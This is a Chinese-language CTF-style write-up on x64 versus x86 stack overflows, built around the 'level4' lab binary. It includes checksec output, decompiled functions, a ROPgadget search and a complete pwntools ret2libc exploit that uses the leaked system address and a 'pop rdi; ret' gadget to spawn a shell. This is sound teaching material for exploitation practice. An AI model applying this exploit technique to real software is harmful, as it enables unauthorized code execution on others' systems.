1.环境
ubuntu1~16.04.12
pwndbg
python
2.目标
学习x86和x64的栈溢出的区别
3.流程
3.1 x86和x64传参问题
x86是栈传参,x64是寄存器传参按顺序RDI、RSI、RDX、RCX、R8 、R9(寄存器不够会拿栈传参)如下面代码块,在计算栈溢出的时候需要额外加8
x64
1 2 3 4 | mov edx, 1101b ; nmov esi, 4008C1h ; "Hello, World\n"mov edi, 1 ; fdcall _write |
X86
1 2 3 4 | mov dword ptr [esp+8], 0Dh ; nmov dword ptr [esp+4], offset aHelloWorld ; "Hello, World\n"mov dword ptr [esp], 1 ; fdcall _write |
3.2 分析程序
1 2 3 4 5 6 | [*] '/home/giantbranch/pwn/ROP_STEP_BY_STEP/linux_x64/level4' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) |

没有system函数需要去libc.so程序里寻找
1 2 3 4 5 6 | int __cdecl main(int argc, const char **argv, const char **envp){ systemaddr(argc, argv, envp); //打印出System的地址 write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); //漏洞函数} |
systemaddr 打印system函数地址
1 2 3 4 5 6 7 8 9 10 | int systemaddr(){ void *v0; // rax void *v2; // [rsp-8h] [rbp-8h] v2 = dlopen("libc.so.6", 1); v0 = dlsym(v2, "system"); //system获得地址 printf("%p\n", v0); return fflush(stdout);} |
vulnerable_function()漏洞函数
1 2 3 4 5 6 | ssize_t vulnerable_function(){ __int64 v1; // [rsp-80h] [rbp-80h] BYREF return read(0, &v1, 0x200uLL); } |
128+8才可以覆盖到rbp栈底,因为x64得把寄存器算进去
运行程序
1 2 3 | giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ./level4 0x7fc10a2b23a0Hello, World |
0x7fc10a2b23a0 就是systemaddr打印的system的内存地址。
3.3 解题思路
systemaddr函数是会打印system地址可以使用这个地址减去libc.symbols['system']得到libc的地址
由于程序里没有system函数所以可以通过libc.so里找到system函数和/bin/sh得到后不能直接使用。
- 需要使用
libc.symbols['system']-/bin/sh得到system到相对/bin/sh偏移量. - 之后在使用systemaddr输出的地址减去system到相对
/bin/sh偏移量就得到了/bin/sh的内存地址,以此类推就可以得到所需的内存地址 - 在使用system函数x64不能像x86栈传参,需要通过寄存器传参system函数只有一个函数传入rdi寄存器就行了。
获得POP_rdi_ret0x0000000000021112
1 2 3 4 | giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ROPgadget --binary libc.so --only "pop|ret" | grep rdi 0x000000000002026b : pop rdi ; pop rbp ; ret0x0000000000021112 : pop rdi ; ret0x00000000000674a9 : pop rdi ; ret 0xffff |
获取libc.so
1 2 3 4 5 | giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ldd level4 linux-vdso.so.1 => (0x00007fff48b5f000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f8363faa000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8363be0000) /lib64/ld-linux-x86-64.so.2 (0x00007f83641ae000) |
1 | cp /lib/x86_64-linux-gnu/libc.so.6 libc.so |
3.4 脚本编写
解析文件
1 2 3 | p = process('./level4')elf = ELF('./level4')libc = ELF('./libc.so') |
获得systemaddr 输出并获取偏移量
1 2 3 4 | system_addr = int(p.recvuntil('\n'),16)print("System_addr={}".format(hex(system_addr)))str_bin_sh_offset = next(libc.search(b'/bin/sh')) - libc.symbols['system']pop_ret_offset = 0x0000000000021112 - libc.symbols['system'] |
计算内存偏移量获取PopRdiret内存地址
1 2 | StrbinSh = system_addr + str_bin_sh_offsetPopRdiret = pop_ret_offset + system_addr |
构造payload
1 2 3 | payload = b'a'*136+p64(PopRdiret)+p64(StrbinSh)+p64(system_addr)p.send(payload)p.interactive() |
4.Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #coding=utf-8from pwn import * p = process('./level4')elf = ELF('./level4')libc = ELF('./libc.so') system_addr = int(p.recvuntil('\n'),16)print("System_addr={}".format(hex(system_addr)))str_bin_sh_offset = next(libc.search(b'/bin/sh')) - libc.symbols['system']pop_ret_offset = 0x0000000000021112 - libc.symbols['system']StrbinSh = system_addr + str_bin_sh_offsetPopRdiret = pop_ret_offset + system_addrpayload = b'a'*136+p64(PopRdiret)+p64(StrbinSh)+p64(system_addr)p.send(payload)p.interactive() |